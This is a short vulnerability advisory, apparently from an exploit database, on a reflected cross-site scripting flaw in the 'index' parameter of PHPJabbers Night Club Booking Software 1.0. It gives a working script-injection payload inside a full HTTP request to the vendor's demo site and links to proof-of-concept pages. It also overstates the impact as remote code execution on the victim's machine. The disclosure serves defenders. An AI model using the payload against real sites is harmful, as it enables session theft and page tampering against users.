Night Club Booking Software 1.0 Cross Site Scripting

## Title: Night Club Booking Software-1.0 XSS-Reflected## Author: nu11secur1ty## Date: 09/09/2023## Vendor: https://www.phpjabbers.com/## Software: https://www.phpjabbers.com/night-club-booking-software/#sectionDemo## Reference: https://portswigger.net/web-security/cross-site-scripting/reflected## Description:The value of the index request parameter is copied into the value of anHTML tag attribute which is encapsulated in double quotation marks. Thepayload byymt"><script>alert(1)</script>fs5xr was submitted in the indexparameter. This input was echoed unmodified in the application's response.The attacker can trick the victim into executing arbitrary commands orcode on his machine remotely.STATUS: HIGH-CRITICAL Vulnerability[+]Test Payload:```GET/1694244800_322/index.php?controller=pjFront&action=pjActionSearch&session_id=&locale=1&index=6254byymt%22%3e%3cscript%3ealert(1)%3c%2fscript%3efs5xr&date=HTTP/1.1Host: demo.phpjabbers.comAccept-Encoding: gzip, deflateAccept: */*Accept-Language: en-US;q=0.9,en;q=0.8User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36(KHTML, like Gecko) Chrome/116.0.5845.141 Safari/537.36Connection: closeCache-Control: max-age=0Cookie: _ga=GA1.2.825432071.1694256178; _gid=GA1.2.1157015144.1694256178;_gat=1; _fbp=fb.1.1694256177815.1029224882X-Requested-With: XMLHttpRequestReferer: https://demo.phpjabbers.com/1694244800_322/preview.php?lid=1Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="116","Chromium";v="116"Sec-CH-UA-Platform: WindowsSec-CH-UA-Mobile: ?0```## Reproduce:[href](https://github.com/nu11secur1ty/CVE-nu11secur1ty/tree/main/vendors/phpjabbers/2023/Night-Club-Booking-Software-1.0)## Proof and Exploit:[href](https://www.nu11secur1ty.com/2023/09/night-club-booking-software-10-xss.html)## Time spent:00:05:00